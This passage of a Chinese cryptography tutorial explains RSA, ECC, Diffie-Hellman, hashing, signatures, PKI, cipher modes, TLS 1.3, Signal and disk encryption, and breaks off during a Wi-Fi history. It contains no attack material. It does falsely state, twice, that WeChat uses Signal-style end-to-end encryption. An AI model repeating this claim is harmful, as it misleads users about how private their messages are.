是密码学史上最优雅的发明之一——它解决了密钥分发这一困扰人类四千年的难题。其安全性建立在一个简单的数学事实之上：<em>两个大质数相乘很容易，但从乘积反推两个质数极其困难。</em></p><h4 id="RSA-密钥生成（完整步骤）"><a href="#RSA-密钥生成（完整步骤）" class="headerlink" title="RSA 密钥生成（完整步骤）"></a>RSA 密钥生成（完整步骤）</h4><ol><li><strong>选择两个大质数</strong>：随机选 p 和 q（各 1024 位以上），计算 n &#x3D; p × q。n 是”模数”，长度即密钥长度。</li><li><strong>计算欧拉函数</strong>：φ(n) &#x3D; (p-1) × (q-1)。这表示小于 n 且与 n 互质的正整数个数。</li><li><strong>选择公钥指数 e</strong>：选一个与 φ(n) 互质的数 e，通常固定为 65537（0x10001），因为它是质数且二进制只有两个 1（计算快）。</li><li><strong>计算私钥指数 d</strong>：求 e 关于模 φ(n) 的乘法逆元，即 e × d ≡ 1 (mod φ(n))。用扩展欧几里得算法可高效计算。</li><li><strong>公钥</strong> &#x3D; (n, e)，<strong>私钥</strong> &#x3D; (n, d)。p 和 q 必须销毁——任何持有 p、q 的人都能算出 d。</li></ol><p>下面这张流程图展示了 RSA 从密钥生成到加密解密的完整路径：</p><svg viewBox="0 0 680 280" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrRSA" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#0984e3"/></marker></defs>  <text x="340" y="22" text-anchor="middle" font-size="15" font-weight="700" fill="#0984e3">RSA 加密与解密流程</text>  <rect x="15" y="40" width="230" height="210" rx="10" fill="#dfe6e9" stroke="#0984e3" stroke-width="1" stroke-dasharray="5"/>  <text x="130" y="62" text-anchor="middle" font-size="12" font-weight="700" fill="#0984e3">密钥生成（一次性）</text>  <text x="130" y="82" text-anchor="middle" font-size="11">选大质数 p, q</text>  <text x="130" y="100" text-anchor="middle" font-size="11">n = p × q</text>  <text x="130" y="118" text-anchor="middle" font-size="11">φ(n) = (p-1)(q-1)</text>  <text x="130" y="136" text-anchor="middle" font-size="11">选 e: gcd(e, φ(n)) = 1</text>  <text x="130" y="154" text-anchor="middle" font-size="11">算 d: e × d ≡ 1 mod φ(n)</text>  <line x1="30" y1="168" x2="230" y2="168" stroke="#b2bec3" stroke-width="1"/>  <text x="60" y="185" text-anchor="middle" font-size="11" fill="#00b894">公钥 (n, e) → 公开</text>  <text x="170" y="185" text-anchor="middle" font-size="11" fill="#d63031">私钥 (n, d) → 保密</text>  <text x="130" y="210" text-anchor="middle" font-size="11" fill="#636e72">销毁 p, q</text>  <rect x="275" y="55" width="130" height="50" rx="8" fill="#dfe6e9"/><text x="340" y="75" text-anchor="middle" font-size="13">明文 m</text><text x="340" y="93" text-anchor="middle" font-size="11" font-family="monospace">Hello</text>  <line x1="405" y1="80" x2="445" y2="80" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="445" y="55" width="160" height="50" rx="8" fill="#0984e3" opacity="0.1"/><text x="525" y="73" text-anchor="middle" font-size="12" fill="#0984e3">加密 c = m^e mod n</text><text x="525" y="93" text-anchor="middle" font-size="11" fill="#0984e3">使用公钥 (n, e)</text>  <line x1="605" y1="80" x2="640" y2="80" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="640" y="55" width="30" height="50" rx="8" fill="#0984e3" opacity="0.2"/><text x="655" y="85" text-anchor="middle" font-size="11" fill="#0984e3">c</text>  <rect x="640" y="140" width="30" height="50" rx="8" fill="#0984e3" opacity="0.2"/><text x="655" y="170" text-anchor="middle" font-size="11" fill="#0984e3">c</text>  <line x1="640" y1="165" x2="605" y2="165" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="445" y="140" width="160" height="50" rx="8" fill="#00b894" opacity="0.1"/><text x="525" y="158" text-anchor="middle" font-size="12" fill="#00b894">解密 m = c^d mod n</text><text x="525" y="178" text-anchor="middle" font-size="11" fill="#00b894">使用私钥 (n, d)</text>  <line x1="445" y1="165" x2="405" y2="165" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="275" y="140" width="130" height="50" rx="8" fill="#dfe6e9"/><text x="340" y="160" text-anchor="middle" font-size="13">明文 m</text><text x="340" y="178" text-anchor="middle" font-size="11" font-family="monospace">Hello</text>  <text x="340" y="230" text-anchor="middle" font-size="12" fill="#636e72">从 (n, e) 算出 d 需要分解 n = p × q</text>  <text x="340" y="250" text-anchor="middle" font-size="12" fill="#636e72">n 为 2048 位时，经典计算机需要数十亿年</text></svg><p><em>图：RSA 完整流程——密钥生成、加密、解密</em></p><h4 id="用小学数学理解-RSA"><a href="#用小学数学理解-RSA" class="headerlink" title="用小学数学理解 RSA"></a>用小学数学理解 RSA</h4><p>选 p&#x3D;3, q&#x3D;11，则 n&#x3D;33, φ(n)&#x3D;20。</p><p>选 e&#x3D;7（与 20 互质），则 d&#x3D;3（因为 7×3&#x3D;21≡1 mod 20）。</p><p><strong>公钥</strong> (33, 7)，<strong>私钥</strong> (33, 3)。</p><p>加密 m&#x3D;4：c &#x3D; 4⁷ mod 33 &#x3D; 16384 mod 33 &#x3D; <strong>16</strong></p><p>解密 c&#x3D;16：m &#x3D; 16³ mod 33 &#x3D; 4096 mod 33 &#x3D; <strong>4</strong> ✅</p><h3 id="6-2-椭圆曲线密码学（ECC）"><a href="#6-2-椭圆曲线密码学（ECC）" class="headerlink" title="6.2 椭圆曲线密码学（ECC）"></a>6.2 椭圆曲线密码学（ECC）</h3><p>ECC<sup id="fnref:22"><a href="#fn:22" rel="footnote">[22]</a></sup> 与 RSA 实现相同的功能（加密、签名、密钥交换），但使用比 RSA <strong>小得多</strong>的密钥达到<strong>相同</strong>的安全强度。</p><table><thead><tr><th>安全强度</th><th>RSA 密钥长度</th><th>ECC 密钥长度</th><th>密钥大小比</th></tr></thead><tbody><tr><td>80 位</td><td>1024 位</td><td>160 位</td><td>6.4 : 1</td></tr><tr><td>128 位</td><td>3072 位</td><td>256 位</td><td>12 : 1</td></tr><tr><td>256 位</td><td>15360 位</td><td>512 位</td><td>30 : 1</td></tr></tbody></table><p><strong>主流曲线：</strong></p><ul><li><strong>Curve25519（X25519）：</strong> Daniel Bernstein 设计，256 位，约 128 位安全，速度极快且抗侧信道。TLS 1.3 和 Signal 协议的默认选择。</li><li><strong>P-256（secp256r1）：</strong> NIST 标准曲线，256 位，广泛使用但设计参数来源不完全透明。</li><li><strong>secp256k1：</strong> 比特币和以太坊使用的曲线。</li><li><strong>SM2：</strong> 中国国密标准椭圆曲线。</li></ul><h3 id="6-3-密钥交换：Diffie-Hellman"><a href="#6-3-密钥交换：Diffie-Hellman" class="headerlink" title="6.3 密钥交换：Diffie-Hellman"></a>6.3 密钥交换：Diffie-Hellman</h3><p>DH 密钥交换解决的核心问题：<em>两个从未谋面的人，如何在不安全的信道上，协商出一个只有他们知道的共享密钥？</em></p><blockquote><p><strong>颜色混合类比（最经典的解释方式）：</strong></p><ol><li>Alice 和 Bob 公开约定一种”公共颜色”（比如黄色）。</li><li>Alice 自选一种”私有颜色”（红色），与黄色混合得到橙色，发给 Bob。</li><li>Bob 自选一种”私有颜色”（蓝色），与黄色混合得到绿色，发给 Alice。</li><li>Alice 将收到的绿色与自己的私色（红）混合 → 得到某种棕色。</li><li>Bob 将收到的橙色与自己的私色（蓝）混合 → 得到<strong>完全相同的棕色</strong>！</li><li>窃听者 Eve 看到的只有黄色、橙色、绿色——无法混合出棕色。</li></ol></blockquote><p><strong>数学实现：</strong> Alice 选私钥 a，计算 A &#x3D; gª mod p 发给 Bob；Bob 选私钥 b，计算 B &#x3D; gᵇ mod p 发给 Alice。共享密钥 &#x3D; Bª mod p &#x3D; Aᵇ mod p &#x3D; gªᵇ mod p。窃听者从 g、gª、gᵇ 算出 gªᵇ 等价于解决<strong>离散对数问题</strong><sup id="fnref:23"><a href="#fn:23" rel="footnote">[23]</a></sup>。</p><hr><h2 id="第七章-哈希函数"><a href="#第七章-哈希函数" class="headerlink" title="第七章 哈希函数"></a>第七章 哈希函数</h2><p><strong>哈希函数（Hash Function）</strong> 将<strong>任意长度</strong>的输入数据映射为<strong>固定长度</strong>的输出（称为摘要&#x2F;散列值&#x2F;指纹）。它与加密的核心区别是：<em>哈希不能”解密”——它是单向的。</em></p><h3 id="安全哈希函数的三个核心性质"><a href="#安全哈希函数的三个核心性质" class="headerlink" title="安全哈希函数的三个核心性质"></a>安全哈希函数的三个核心性质</h3><table><thead><tr><th>性质</th><th>含义</th><th>生活类比</th></tr></thead><tbody><tr><td><strong>抗原像性</strong>（Pre-image Resistance）</td><td>给定哈希值 h，计算上不可行地找到 m 使 hash(m)&#x3D;h</td><td>从指纹不能还原出人脸</td></tr><tr><td><strong>抗第二原像性</strong>（Second Pre-image Resistance）</td><td>给定 m₁，计算上不可行地找到 m₂≠m₁ 使 hash(m₂)&#x3D;hash(m₁)</td><td>不能伪造别人的指纹</td></tr><tr><td><strong>抗碰撞性</strong>（Collision Resistance）</td><td>计算上不可行地找到任意两个不同输入产生相同哈希</td><td>理论上没有两人指纹完全相同</td></tr></tbody></table><h3 id="主流哈希算法对比"><a href="#主流哈希算法对比" class="headerlink" title="主流哈希算法对比"></a>主流哈希算法对比</h3><table><thead><tr><th>算法</th><th>输出长度</th><th>设计者</th><th>安全性</th><th>推荐度</th></tr></thead><tbody><tr><td>MD5</td><td>128 位</td><td>Ron Rivest (1992)</td><td>❌ 2004 年被王小云实用化碰撞攻击</td><td>绝不使用</td></tr><tr><td>SHA-1</td><td>160 位</td><td>NSA (1995)</td><td>❌ 2017 年 Google 首次公开碰撞（SHAttered）</td><td>绝不使用</td></tr><tr><td>SHA-256</td><td>256 位</td><td>NSA (2001)</td><td>✅ 目前安全</td><td>✅ 广泛推荐</td></tr><tr><td>SHA-512</td><td>512 位</td><td>NSA (2001)</td><td>✅ 更安全，但更慢</td><td>✅ 高安全场景</td></tr><tr><td>SHA-3 (Keccak)</td><td>任意</td><td>Guido Bertoni 等 (2015)</td><td>✅ 全新海绵结构，安全冗余高</td><td>✅ 推荐</td></tr><tr><td>BLAKE3</td><td>任意</td><td>Jack O’Connor 等 (2020)</td><td>✅ 比 SHA-256 快 10 倍+</td><td>✅ 高性能场景</td></tr><tr><td>SM3</td><td>256 位</td><td>国家密码管理局 (2010)</td><td>✅ 中国国密标准</td><td>✅ 国内合规场景</td></tr></tbody></table><blockquote><p><strong>🚫 MD5 和 SHA-1 还能用吗？</strong></p><p><strong>安全场景绝对不能！</strong> MD5 在 2004 年被王小云实现了实用碰撞。SHA-1 在 2017 年由 Google 联合 CWI 研究所实现了首个碰撞攻击（消耗了 9,223,372,036,854,775,808 次 SHA-1 计算）。</p><p><strong>仅可用于非安全场景：</strong> 文件下载完整性快速校验、去重等对安全性无要求的场景。但仍推荐至少使用 SHA-256。</p></blockquote><h3 id="哈希的实际应用"><a href="#哈希的实际应用" class="headerlink" title="哈希的实际应用"></a>哈希的实际应用</h3><table><thead><tr><th>应用</th><th>说明</th></tr></thead><tbody><tr><td><strong>密码存储</strong></td><td>存储 hash(password + salt)，永远不存明文。推荐 bcrypt&#x2F;scrypt&#x2F;Argon2</td></tr><tr><td><strong>文件完整性校验</strong></td><td>下载文件后比对 SHA-256 值，防止文件损坏或被篡改</td></tr><tr><td><strong>数字签名</strong></td><td>先对文档做 SHA-256 摘要，再对摘要签名（比直接签大文档快）</td></tr><tr><td><strong>区块链</strong></td><td>比特币用 SHA-256 做工作量证明和交易 ID</td></tr><tr><td><strong>Git 版本管理</strong></td><td>每个 commit 都用 SHA-1（正迁移到 SHA-256）做唯一标识</td></tr><tr><td><strong>消息认证码（HMAC）</strong></td><td>HMAC-SHA256(key, message) 同时验证完整性和真实性</td></tr></tbody></table><hr><h2 id="第八章-数字签名与-PKI（公钥基础设施）"><a href="#第八章-数字签名与-PKI（公钥基础设施）" class="headerlink" title="第八章 数字签名与 PKI（公钥基础设施）"></a>第八章 数字签名与 PKI（公钥基础设施）</h2><h3 id="8-1-数字签名如何工作？"><a href="#8-1-数字签名如何工作？" class="headerlink" title="8.1 数字签名如何工作？"></a>8.1 数字签名如何工作？</h3><p>数字签名是<strong>非对称加密的逆向使用</strong>——用私钥签名<sup id="fnref:24"><a href="#fn:24" rel="footnote">[24]</a></sup>，用公钥验证。它实现了身份认证 + 数据完整性。</p><p>下面的流程图展示了签名和验证的完整路径：</p><svg viewBox="0 0 680 260" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrDS" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#d63031"/></marker></defs>  <defs><marker id="arrDS2" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#00b894"/></marker></defs>  <text x="160" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#d63031">签名过程（发送方 Alice）</text>  <text x="520" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#00b894">验证过程（接收方 Bob）</text>  <rect x="30" y="35" width="120" height="40" rx="6" fill="#dfe6e9"/><text x="90" y="53" text-anchor="middle" font-size="12">原始文档</text><text x="90" y="68" text-anchor="middle" font-size="10" font-family="monospace">contract.pdf</text>  <line x1="150" y1="55" x2="180" y2="55" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="180" y="35" width="80" height="40" rx="6" fill="#00b894" opacity="0.1"/><text x="220" y="53" text-anchor="middle" font-size="11" fill="#00b894">SHA-256</text><text x="220" y="68" text-anchor="middle" font-size="10" fill="#00b894">哈希</text>  <line x1="260" y1="55" x2="290" y2="55" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="170" y="95" width="100" height="35" rx="6" fill="#d63031" opacity="0.1"/><text x="220" y="117" text-anchor="middle" font-size="11" fill="#d63031">私钥加密摘要</text>  <line x1="220" y1="75" x2="220" y2="95" stroke="#d63031" stroke-width="1.5" marker-end="url(#arrDS)"/>  <rect x="140" y="145" width="160" height="35" rx="6" fill="#d63031" opacity="0.2"/><text x="220" y="163" text-anchor="middle" font-size="11" fill="#d63031">数字签名</text><text x="220" y="176" text-anchor="middle" font-size="9" fill="#d63031">signature.sig</text>  <rect x="350" y="35" width="120" height="40" rx="6" fill="#dfe6e9"/><text x="410" y="53" text-anchor="middle" font-size="12">收到的文档</text>  <line x1="470" y1="55" x2="500" y2="55" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="500" y="35" width="80" height="40" rx="6" fill="#00b894" opacity="0.1"/><text x="540" y="53" text-anchor="middle" font-size="11" fill="#00b894">SHA-256</text>  <line x1="540" y1="75" x2="540" y2="112" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="350" y="95" width="120" height="35" rx="6" fill="#dfe6e9"/><text x="410" y="117" text-anchor="middle" font-size="12">收到的签名</text>  <line x1="470" y1="112" x2="500" y2="112" stroke="#00b894" stroke-width="1.5" marker-end="url(#arrDS2)"/>  <rect x="500" y="95" width="80" height="35" rx="6" fill="#00b894" opacity="0.1"/><text x="540" y="117" text-anchor="middle" font-size="11" fill="#00b894">公钥解密</text>  <rect x="480" y="150" width="120" height="40" rx="8" fill="#00b894" opacity="0.05" stroke="#00b894" stroke-width="2"/>  <text x="540" y="168" text-anchor="middle" font-size="12" fill="#00b894">对比两个哈希值</text>  <text x="540" y="184" text-anchor="middle" font-size="11">相同 = 签名有效 ✅</text>  <line x1="320" y1="160" x2="340" y2="160" stroke="#636e72" stroke-width="1.5"/>  <text x="410" y="158" text-anchor="start" font-size="10" fill="#636e72">文档 + 签名 一起发送 →</text></svg><p><em>图：数字签名流程——用私钥签名，用公钥验证</em></p><h3 id="8-2-PKI-和证书链"><a href="#8-2-PKI-和证书链" class="headerlink" title="8.2 PKI 和证书链"></a>8.2 PKI 和证书链</h3><p>公钥基础设施（PKI<sup id="fnref:25"><a href="#fn:25" rel="footnote">[25]</a></sup>）解决了”<strong>你怎么确定这个公钥确实属于淘宝，而不是中间人伪造的？</strong>“</p><p>下面的图展示了从根 CA 到服务器证书的信任传递：</p><svg viewBox="0 0 680 220" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <text x="340" y="20" text-anchor="middle" font-size="14" font-weight="700" fill="#6c5ce7">X.509 证书信任链</text>  <rect x="240" y="35" width="200" height="50" rx="10" fill="#6c5ce7" opacity="0.1" stroke="#6c5ce7" stroke-width="2"/><text x="340" y="55" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">根 CA（Root CA）</text><text x="340" y="73" text-anchor="middle" font-size="11" fill="#636e72">DigiCert / Let's Encrypt / CFCA</text>  <line x1="340" y1="85" x2="340" y2="100" stroke="#6c5ce7" stroke-width="2"/><text x="358" y="96" font-size="11" fill="#d63031">用自己的私钥签名 ↓</text>  <rect x="240" y="100" width="200" height="50" rx="10" fill="#a29bfe" opacity="0.1" stroke="#a29bfe" stroke-width="2"/><text x="340" y="120" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">中间 CA（Intermediate CA）</text><text x="340" y="138" text-anchor="middle" font-size="11" fill="#636e72">由根 CA 签名，代表根 CA 签发证书</text>  <line x1="340" y1="150" x2="340" y2="165" stroke="#6c5ce7" stroke-width="2"/><text x="358" y="161" font-size="11" fill="#d63031">用中间 CA 私钥签名 ↓</text>  <rect x="240" y="165" width="200" height="50" rx="10" fill="#0984e3" opacity="0.1" stroke="#0984e3" stroke-width="2"/><text x="340" y="185" text-anchor="middle" font-size="13" font-weight="700" fill="#0984e3">服务器证书（End-entity）</text><text x="340" y="203" text-anchor="middle" font-size="11" fill="#636e72">taobao.com / baidu.com</text>  <rect x="460" y="35" width="200" height="180" rx="10" fill="#dfe6e9"/>  <text x="560" y="60" text-anchor="middle" font-size="12" font-weight="700" fill="#636e72">浏览器/操作系统</text>  <text x="560" y="80" text-anchor="middle" font-size="11" fill="#636e72">内置根证书列表</text>  <text x="560" y="105" text-anchor="middle" font-size="11" fill="#00b894">自动逐级验证</text>  <text x="560" y="130" text-anchor="middle" font-size="11" fill="#00b894">根→中间→服务器</text>  <text x="560" y="155" text-anchor="middle" font-size="11" fill="#00b894">全部通过 = 🔒 绿色锁</text></svg><p><em>图：证书信任链——从根 CA 到服务器证书的逐级签名验证</em></p><hr><h2 id="第九章-加密工作模式与填充"><a href="#第九章-加密工作模式与填充" class="headerlink" title="第九章 加密工作模式与填充"></a>第九章 加密工作模式与填充</h2><h3 id="9-1-分组密码的工作模式"><a href="#9-1-分组密码的工作模式" class="headerlink" title="9.1 分组密码的工作模式"></a>9.1 分组密码的工作模式</h3><p>分组密码只能加密固定大小的数据块（AES 为 128 位）。<em>工作模式</em>决定了如何处理多块数据以及块之间的关联方式。</p><table><thead><tr><th>模式</th><th>全称</th><th>特点</th><th>安全</th><th>推荐</th></tr></thead><tbody><tr><td><strong>ECB</strong></td><td>Electronic Codebook</td><td>每块独立加密，相同明文→相同密文</td><td>❌ 极不安全</td><td>永不使用</td></tr><tr><td><strong>CBC</strong></td><td>Cipher Block Chaining</td><td>每块与前一块密文 XOR 后再加密</td><td>⚠️ 需配合 MAC</td><td>可用但不推荐新项目</td></tr><tr><td><strong>CTR</strong></td><td>Counter</td><td>将分组密码转为流密码，用计数器生成密钥流</td><td>✅</td><td>✅ 推荐</td></tr><tr><td><strong>GCM</strong></td><td>Galois&#x2F;Counter Mode</td><td><strong>认证加密</strong><sup id="fnref:26"><a href="#fn:26" rel="footnote">[26]</a></sup>：同时提供加密 + 完整性验证</td><td>✅ 最佳</td><td>✅✅ 强烈推荐</td></tr><tr><td><strong>CCM</strong></td><td>CTR + CBC-MAC</td><td>另一种认证加密模式</td><td>✅</td><td>✅ 嵌入式场景</td></tr></tbody></table><blockquote><p><strong>⚠️ ECB 模式的著名”企鹅图”问题：</strong> 用 ECB 模式加密一张企鹅图片，虽然数据变了，但<em>企鹅的轮廓清晰可见</em>！因为相同颜色的像素块加密后仍然相同。这就是为什么 ECB 绝不应该被使用——它连最基本的模式隐藏都做不到。</p></blockquote><h3 id="9-2-填充方案"><a href="#9-2-填充方案" class="headerlink" title="9.2 填充方案"></a>9.2 填充方案</h3><p>当明文长度不是分组大小的整数倍时，需要<em>填充</em>。最常用的是<strong>PKCS#7 填充</strong>：如果需要填充 n 个字节，每个填充字节的值都等于 n。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">原始数据 (11 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64</span><br><span class="line">PKCS#7 填充后 (16 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64 05 05 05 05 05</span><br><span class="line">                                                      ^^^^^^^^^^^^^^^ 5 个 0x05 = 需要填充 5 字节</span><br></pre></td></tr></table></figure><hr><h2 id="第十章-当前主流加密方案全景"><a href="#第十章-当前主流加密方案全景" class="headerlink" title="第十章 当前主流加密方案全景"></a>第十章 当前主流加密方案全景</h2><h3 id="10-1-TLS-1-3-HTTPS-——-互联网的安全基石"><a href="#10-1-TLS-1-3-HTTPS-——-互联网的安全基石" class="headerlink" title="10.1 TLS 1.3 &#x2F; HTTPS —— 互联网的安全基石"></a>10.1 TLS 1.3 &#x2F; HTTPS —— 互联网的安全基石</h3><p>TLS 1.3<sup id="fnref:27"><a href="#fn:27" rel="footnote">[27]</a></sup>（2018 年发布，RFC 8446）是现代互联网加密的核心协议。相比 1.2，它做了革命性的简化——废弃了所有不安全算法，将握手过程从 2-RTT 缩短为 1-RTT。</p><p>下面的流程图展示了一次完整的 TLS 1.3 握手：</p><svg viewBox="0 0 680 320" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrTLS" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#0984e3"/></marker></defs>  <text x="340" y="20" text-anchor="middle" font-size="15" font-weight="700" fill="#6c5ce7">TLS 1.3 握手流程（1-RTT）</text>  <rect x="20" y="40" width="100" height="40" rx="8" fill="#0984e3" opacity="0.1"/><text x="70" y="65" text-anchor="middle" font-size="13" fill="#0984e3">👤 客户端</text>  <rect x="150" y="40" width="100" height="40" rx="8" fill="#00b894" opacity="0.1"/><text x="200" y="65" text-anchor="middle" font-size="13" fill="#00b894">🖥️ 服务器</text>  <text x="20" y="100" font-size="11" fill="#636e72">第 1 步 0ms</text>  <rect x="90" y="88" width="220" height="28" rx="4" fill="#0984e3" opacity="0.05"/><text x="200" y="107" text-anchor="middle" font-size="10" fill="#0984e3">ClientHello: 支持的密码套件 + 密钥共享(ECDHE)</text>  <line x1="310" y1="102" x2="360" y2="102" stroke="#0984e3" stroke-width="1" marker-end="url(#arrTLS)"/>  <text x="20" y="135" font-size="11" fill="#636e72">第 2 步 1-RTT</text>  <rect x="350" y="120" width="280" height="42" rx="4" fill="#00b894" opacity="0.05"/><text x="490" y="137" text-anchor="middle" font-size="10" fill="#00b894">ServerHello: 选择密码套件 + 密钥共享(ECDHE)</text><text x="490" y="154" text-anchor="middle" font-size="10" fill="#00b894">+ 证书(Certificate) + 完成(Finished)</text>  <line x1="350" y1="141" x2="310" y2="141" stroke="#00b894" stroke-width="1" marker-end="url(#arrTLS)"/>  <text x="20" y="180" font-size="11" fill="#636e72">第 3 步</text>  <rect x="90" y="168" width="220" height="28" rx="4" fill="#0984e3" opacity="0.05"/><text x="200" y="187" text-anchor="middle" font-size="10" fill="#0984e3">Finished + HTTP 请求（已加密！）</text>  <line x1="310" y1="182" x2="360" y2="182" stroke="#0984e3" stroke-width="1" marker-end="url(#arrTLS)"/>  <rect x="150" y="220" width="380" height="85" rx="10" fill="#6c5ce7" opacity="0.05" stroke="#6c5ce7" stroke-width="1"/>  <text x="340" y="245" text-anchor="middle" font-size="13" font-weight="700" fill="#6c5ce7">TLS 1.3 关键特性</text>  <text x="340" y="265" text-anchor="middle" font-size="11" fill="#636e72">• 只需 1-RTT（往返）+ 0-RTT 可选重连</text>  <text x="340" y="282" text-anchor="middle" font-size="11" fill="#636e72">• 仅支持前向安全的 AEAD 密码（AES-GCM / ChaCha20-Poly1305）</text>  <text x="340" y="299" text-anchor="middle" font-size="11" fill="#636e72">• 移除所有不安全算法：RSA 密钥传输、CBC 模式、RC4、MD5、SHA-1</text></svg><p><em>图：TLS 1.3 握手——现代互联网的加密握手协议</em></p><h3 id="10-2-端到端加密：Signal-协议"><a href="#10-2-端到端加密：Signal-协议" class="headerlink" title="10.2 端到端加密：Signal 协议"></a>10.2 端到端加密：Signal 协议</h3><p>Signal 协议是 WhatsApp、Signal、微信等数十亿用户使用的端到端加密协议。核心创新是 <strong>Double Ratchet（双棘轮）算法</strong>：</p><ul><li><strong>X3DH（扩展三重 Diffie-Hellman）：</strong> 初始密钥协商，即使一方离线也能完成</li><li><strong>DH 棘轮：</strong> 每轮通信都生成新的 DH 密钥对，实现<strong>前向安全</strong>（即使长期密钥泄露，历史消息也无法解密）</li><li><strong>对称棘轮：</strong> 每条消息都衍生出新的对称密钥，实现<strong>后向安全</strong>（当前密钥泄露不影响未来消息）</li></ul><h3 id="10-3-磁盘与文件加密"><a href="#10-3-磁盘与文件加密" class="headerlink" title="10.3 磁盘与文件加密"></a>10.3 磁盘与文件加密</h3><table><thead><tr><th>方案</th><th>加密层</th><th>算法</th><th>平台</th></tr></thead><tbody><tr><td><strong>BitLocker</strong></td><td>全盘加密</td><td>AES-128&#x2F;256-CBC 或 XTS-AES</td><td>Windows</td></tr><tr><td><strong>FileVault 2</strong></td><td>全盘加密</td><td>AES-XTS-128</td><td>macOS</td></tr><tr><td><strong>LUKS&#x2F;dm-crypt</strong></td><td>全盘加密</td><td>AES、Twofish、Serpent（可选）</td><td>Linux</td></tr><tr><td><strong>VeraCrypt</strong></td><td>卷&#x2F;全盘加密</td><td>AES、Serpent、Twofish（可级联）</td><td>跨平台</td></tr><tr><td><strong>Android FBE</strong></td><td>文件级加密</td><td>AES-256-XTS</td><td>Android 7.0+</td></tr></tbody></table><h3 id="10-4-区块链中的密码学"><a href="#10-4-区块链中的密码学" class="headerlink" title="10.4 区块链中的密码学"></a>10.4 区块链中的密码学</h3><p>区块链是密码学的集大成应用：</p><ul><li><strong>比特币：</strong> ECDSA (secp256k1) 用于交易签名，SHA-256 用于工作量证明，RIPEMD-160 用于地址生成</li><li><strong>以太坊：</strong> ECDSA (secp256k1) 用于交易签名，Keccak-256 用于地址和状态根</li><li><strong>零知识证明（ZKP）：</strong> zk-SNARKs 使用配对友好椭圆曲线，实现”证明我知道 X 但不透露 X”</li></ul><h3 id="10-5-加密在你一天中的-24-小时"><a href="#10-5-加密在你一天中的-24-小时" class="headerlink" title="10.5 加密在你一天中的 24 小时"></a>10.5 加密在你一天中的 24 小时</h3><p>加密不是「打开浏览器才有的东西」——它渗透在你数字生活的<strong>每一秒</strong>。以下按时间线展示各个触点：</p><table><thead><tr><th>时间</th><th>行为</th><th>背后用的加密技术</th></tr></thead><tbody><tr><td>🌅 7:00</td><td>按指纹解锁手机</td><td><abbr title="可信执行环境（Trusted Execution Environment）">TEE</abbr> + AES 文件级加密</td></tr><tr><td>🌅 7:01</td><td>手机自动连上 Wi-Fi</td><td>WPA3 SAE 握手 → AES-CCMP 加密所有流量</td></tr><tr><td>🌅 7:05</td><td>打开微信看消息</td><td>Signal 协议类端到端加密 + TLS</td></tr><tr><td>🌅 7:15</td><td>Apple Watch 解锁 Mac</td><td>ECDSA 签名 + 安全飞地（Secure Enclave）</td></tr><tr><td>🌅 7:30</td><td>刷 NFC 进地铁</td><td>EMVCo 令牌化 + AES-128</td></tr><tr><td>☀️ 9:00</td><td>打开公司 VPN</td><td>WireGuard (Curve25519 + ChaCha20-Poly1305)</td></tr><tr><td>☀️ 9:05</td><td>浏览器访问 GitHub</td><td>TLS 1.3 ECDHE + AES-256-GCM</td></tr><tr><td>☀️ 12:00</td><td>微信扫码支付午餐</td><td>支付令牌 + TLS 1.3</td></tr><tr><td>🌤 18:00</td><td>1Password 自动填密码</td><td>AES-256 + Argon2 零知识架构</td></tr><tr><td>🌙 20:00</td><td>Netflix 看剧</td><td>Widevine DRM + AES-128-CTR 流加密</td></tr><tr><td>🌙 22:00</td><td>Mac 锁屏休眠</td><td>FileVault2 (AES-XTS-256) 全盘加密</td></tr></tbody></table><blockquote><p><strong>总结：</strong> 从睁眼到入睡，你与加密的交互至少发生 <strong>50-100 次</strong>，绝大多数时候你完全感知不到。这正是密码学工程设计的最高境界——<strong>安全应该是透明的</strong>。</p></blockquote><h3 id="10-6-Wi-Fi-加密：从-WEP-到-WPA3"><a href="#10-6-Wi-Fi-加密：从-WEP-到-WPA3" class="headerlink" title="10.6 Wi-Fi 加密：从 WEP 到 WPA3"></a>10.6 Wi-Fi 加密：从 WEP 到 WPA3</h3><p>Wi-Fi 是地球上使用最广泛的无线加密场景，它的安全进化史就是一部密码学攻防史。</p><h4 id="WEP（1999）——密码学灾难"><a href="#WEP（1999）——密码学灾难" class="headerlink" title="WEP（1999）——密码学灾难"></a>WEP（1999）——密码学灾难</h4><p>WEP 使用 RC4 流密码，设计上存在致命缺陷：<strong>24 位 IV 太短</strong>，每 1670 万个数据包循环一次，在繁忙网络里几分钟就重用了。IV 重用导致流密码被破解——2001 年即可在 60 秒内破解 WEP。</p><h4 id="WPA2（2004-至今）"><a href="#WPA2（2004-至今）" class="headerlink" title="WPA2（2004~至今）"></a>WPA2（2004~至今）</h4><p>WPA2 用 